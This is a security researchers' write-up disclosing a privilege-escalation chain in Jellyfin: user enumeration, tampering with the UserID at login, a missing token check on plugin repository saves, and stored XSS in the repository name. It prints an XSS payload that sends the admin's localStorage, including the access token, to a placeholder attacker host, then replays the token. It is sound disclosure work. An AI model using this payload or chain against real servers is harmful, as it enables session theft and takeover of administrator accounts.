This vulnerability was discovered by Dan Barros, Eduardo Cardoso from Stolabs Security Research team.

Logged in as a user where we do not have any privileges when intercepting requests through burp when entering the path /users we were able to list all users registered in the application and in the **policy** field we were able to identify which users are administrators.

After this first step, another interesting point that we noticed, each user receives a fixed ID of 32 characters where he has numbers and letters, this userID is fixed for each user registered in the system.

After collecting this information, I logged out and logged in again in the application and watching the requests after entering the username and password I came across the following:

In Jellyfin’s authentication requests, the application associates the UserID with the user’s name and knowing that I decided to change the userID to the administrator’s and see the result.

During the authentication process I changed the userid to the adm user.

After changing the user ID for the administrator, we log in as a user but load the administrator panel on the dashboard.

We were able to access the **admin panel** with the **unprivileged user**.

Re-identifying registered users on Jellyfin

When I clicked on allow this user to administer the server and then on save I got a 403 forbiden and couldn’t escalate the privilege.

Returning to the authentication process, we saw that when logging in we received a session access token according to our access profile in the application.

And now… how to get the admin access token?

Within the user profile and being able to access the admin dash, we noticed that the plugin does not validate the access token and even with restricted access we were able to save new repositories.

WOW, Repository saved as user without permission.

Stealing acesstoken via XSS Stored

In the tests we found that the field **“repository name”** is vulnerable to **xss stored** and we insert a payload that will send us as soon as the admin user accesses the plugin tab or **localstorage** where we will steal the acesstoken and finally elevate our privilege.

I opened port 8292 on my VPS and listened.

Payload used in exploration:

```
<img src=x
onerror=”document.location=’http://MYIP:PORT/?'+(JSON.stringify(local
Storage))">
```

And after saving the xss in the *name of the repository*, we wait for the adm to log in and access the **plugins/repositories** tab and receive the necessary data to complete our objective.

Upon receiving the connection from the server, we will analyze the data received and there is the acesstoken of the logged in administrator.

After getting the access token from the administrator, we go back to the burp where we have the request to escalate our privilege and in this case we just need to change the access token to the administrator’s and become the server’s administrat

Wow, after logging out and logging back in as a user we became the jellyfin server administrator where we can create new users, delete, access restricted media among other functions. =)